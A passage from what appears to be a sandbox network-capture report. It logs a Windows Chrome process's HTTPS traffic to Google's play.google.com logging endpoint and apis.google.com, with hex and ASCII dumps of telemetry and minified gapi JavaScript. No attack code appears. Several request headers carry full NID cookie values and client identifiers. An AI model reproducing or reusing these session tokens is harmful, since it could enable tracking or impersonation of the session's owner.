2024-12-21 07:41:10 UTC	6269	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 39 2c 5b 5b 22 31 37 33 34 37 36 36 38 36 37 33 32 32 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],189,[["1734766867322",null,null,null,
2024-12-21 07:41:10 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Sat, 21 Dec 2024 07:41:10 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-21 07:41:10 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-21 07:41:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49797	142.250.181.110	443	7696	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:41:10 UTC	982	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 20759 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=h6YoB2dnmcWahMlM0wdxXpaED7Tf8Z1eKuVuAgbLWjEDpa89LsY-fTsexsDalc2VtFrZUwlfLZdVUFnEgYEsPE5b5AVvqkrFx2NZoyDszxzmKyPpdb9tpgyfyz3Lg5rvKTKQ0i78B2Av93rKGkbiL4ev_y_c249A6NbQ2Lcz3_ZUdor235kK0WOJKk_Ybq4
2024-12-21 07:41:10 UTC	16384	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 39 2c 5b 5b 22 31 37 33 34 37 36 36 38 36 37 33 32 38 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],189,[["1734766867328",null,null,null,
2024-12-21 07:41:10 UTC	4375	OUT	Data Raw: 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5c 22 31 35 70 6f 64 38 61 30 35 63 35 6b 37 36 31 38 76 63 70 38 71 30 6e 76 79 38 6b 75 30 6f 68 6f 67 34 78 30 73 38 68 33 68 62 30 6b 71 6d 6f Data Ascii: ull,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,[[\"15pod8a05c5k7618vcp8q0nvy8ku0ohog4x0s8h3hb0kqmo
2024-12-21 07:41:10 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Sat, 21 Dec 2024 07:41:10 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-21 07:41:10 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-21 07:41:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49802	142.250.181.110	443	7696	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:41:10 UTC	981	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 4733 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=h6YoB2dnmcWahMlM0wdxXpaED7Tf8Z1eKuVuAgbLWjEDpa89LsY-fTsexsDalc2VtFrZUwlfLZdVUFnEgYEsPE5b5AVvqkrFx2NZoyDszxzmKyPpdb9tpgyfyz3Lg5rvKTKQ0i78B2Av93rKGkbiL4ev_y_c249A6NbQ2Lcz3_ZUdor235kK0WOJKk_Ybq4
2024-12-21 07:41:10 UTC	4733	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 39 2c 5b 5b 22 31 37 33 34 37 36 36 38 36 37 36 35 36 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],189,[["1734766867656",null,null,null,
2024-12-21 07:41:11 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Sat, 21 Dec 2024 07:41:10 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-21 07:41:11 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-21 07:41:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49819	142.250.181.46	443	7696	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:41:13 UTC	1017	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=T89Ez7g49nq292RzdL9BrKJyoaB_3Mww85nSBIwoCVPTE0eu1dYTzziRVOFJhVntPGYEMAlAk_98c-QW3nEMJ232DlehwaDdhdfCTmj4iTAt1yFgx15f3VfraNA2yTHMI-FPE6a9Y86oLpzbbHmrm0_geBJLENC9Ac0MyIk-H0wgS-pkeyYuiXMRMCPeVKc
2024-12-21 07:41:13 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117446 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 19 Dec 2024 04:11:06 GMT Expires: Fri, 19 Dec 2025 04:11:06 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 02 Dec 2024 19:15:50 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 185407 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-21 07:41:13 UTC	474	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 5d 29 3b 0a 76 61 72 20 63 61 2c 64 61 2c 68 61 2c 6d 61 2c 78 61 2c 41 61 2c 42 61 3b 63 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var
2024-12-21 07:41:13 UTC	1390	IN	Data Raw: 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 61 22 29 3b 7d 3b Data Ascii: alue;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};
2024-12-21 07:41:13 UTC	1390	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 3d 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 7d 2c 71 61 3b 69 66 28 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 71 61 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 65 6c 73 65 7b 76 61 72 20 72 61 3b 61 3a 7b 76 61 72 20 73 61 3d 7b 61 3a 21 30 7d 2c 77 61 3d 7b 7d 3b 74 72 79 7b 77 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 73 61 3b 72 61 3d 77 61 2e 61 3b 62 72 65 61 6b 20 61 7d 63 61 74 63 68 28 61 29 7b 7d 72 61 3d 21 31 7d 71 61 3d 72 61 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 62 3b 69 66 28 Data Ascii: function(a){var b=function(){};b.prototype=a;return new b},qa;if(typeof Object.setPrototypeOf=="function")qa=Object.setPrototypeOf;else{var ra;a:{var sa={a:!0},wa={};try{wa.__proto__=sa;ra=wa.a;break a}catch(a){}ra=!1}qa=ra?function(a,b){a.__proto__=b;if(
2024-12-21 07:41:13 UTC	1390	IN	Data Raw: 7b 66 6f 72 28 3b 74 68 69 73 2e 46 66 26 26 74 68 69 73 2e 46 66 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 68 3d 74 68 69 73 2e 46 66 3b 74 68 69 73 2e 46 66 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 6b 3d 30 3b 6b 3c 68 2e 6c 65 6e 67 74 68 3b 2b 2b 6b 29 7b 76 61 72 20 6c 3d 68 5b 6b 5d 3b 68 5b 6b 5d 3d 6e 75 6c 6c 3b 74 72 79 7b 6c 28 29 7d 63 61 74 63 68 28 6d 29 7b 74 68 69 73 2e 6d 71 28 6d 29 7d 7d 7d 74 68 69 73 2e 46 66 3d 6e 75 6c 6c 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 71 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 7a 50 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 68 3b 0a 7d 29 7d 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 45 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 Data Ascii: {for(;this.Ff&&this.Ff.length;){var h=this.Ff;this.Ff=[];for(var k=0;k<h.length;++k){var l=h[k];h[k]=null;try{l()}catch(m){this.mq(m)}}}this.Ff=null};b.prototype.mq=function(h){this.zP(function(){throw h;})};var e=function(h){this.Ea=0;this.wf=void 0;thi
2024-12-21 07:41:13 UTC	1390	IN	Data Raw: 68 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 7d 29 3a 74 79 70 65 6f 66 20 6b 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 68 3d 6e 65 77 20 6b 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 7d 29 3a 28 68 3d 5f 2e 6c 61 2e 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 43 75 73 74 6f 6d 45 76 65 6e 74 22 29 2c 68 2e 69 6e 69 74 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 21 31 2c 21 30 2c 68 29 29 3b 68 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 Data Ascii: h("unhandledrejection",{cancelable:!0}):typeof k==="function"?h=new k("unhandledrejection",{cancelable:!0}):(h=_.la.document.createEvent("CustomEvent"),h.initCustomEvent("unhandledrejection",!1,!0,h));h.promise=this;h.reason=this.wf;return l(h)};e.prototy
2024-12-21 07:41:13 UTC	1390	IN	Data Raw: 64 6f 6e 65 29 7d 29 7d 3b 72 65 74 75 72 6e 20 65 7d 29 3b 76 61 72 20 43 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 6f 72 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c Data Ascii: done)})};return e});var Ca=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype."+c+" must not be a regul
2024-12-21 07:41:13 UTC	1390	IN	Data Raw: 5f 68 69 64 64 65 6e 5f 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 65 28 22 66 72 65 65 7a 65 22 29 3b 65 28 22 70 72 65 76 65 6e 74 45 78 74 65 6e 73 69 6f 6e 73 22 29 3b 65 28 22 73 65 61 6c 22 29 3b 76 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 46 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 79 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 Data Ascii: _hidden_"+Math.random();e("freeze");e("preventExtensions");e("seal");var h=0,k=function(l){this.Fa=(h+=Math.random()+1).toString();if(l){l=_.ya(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw E
2024-12-21 07:41:13 UTC	1390	IN	Data Raw: 74 68 69 73 5b 31 5d 2e 53 6b 3d 6d 2e 5a 65 2c 74 68 69 73 2e 73 69 7a 65 2b 2b 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 53 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 53 6b 3d 0a 6b 2e 5a 65 2e 53 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 Data Ascii: this[1].Sk=m.Ze,this.size++);return this};c.prototype.delete=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Sk.next=k.Ze.next,k.Ze.next.Sk=k.Ze.Sk,k.Ze.head=null,this.size--,!0):!1};c.protot
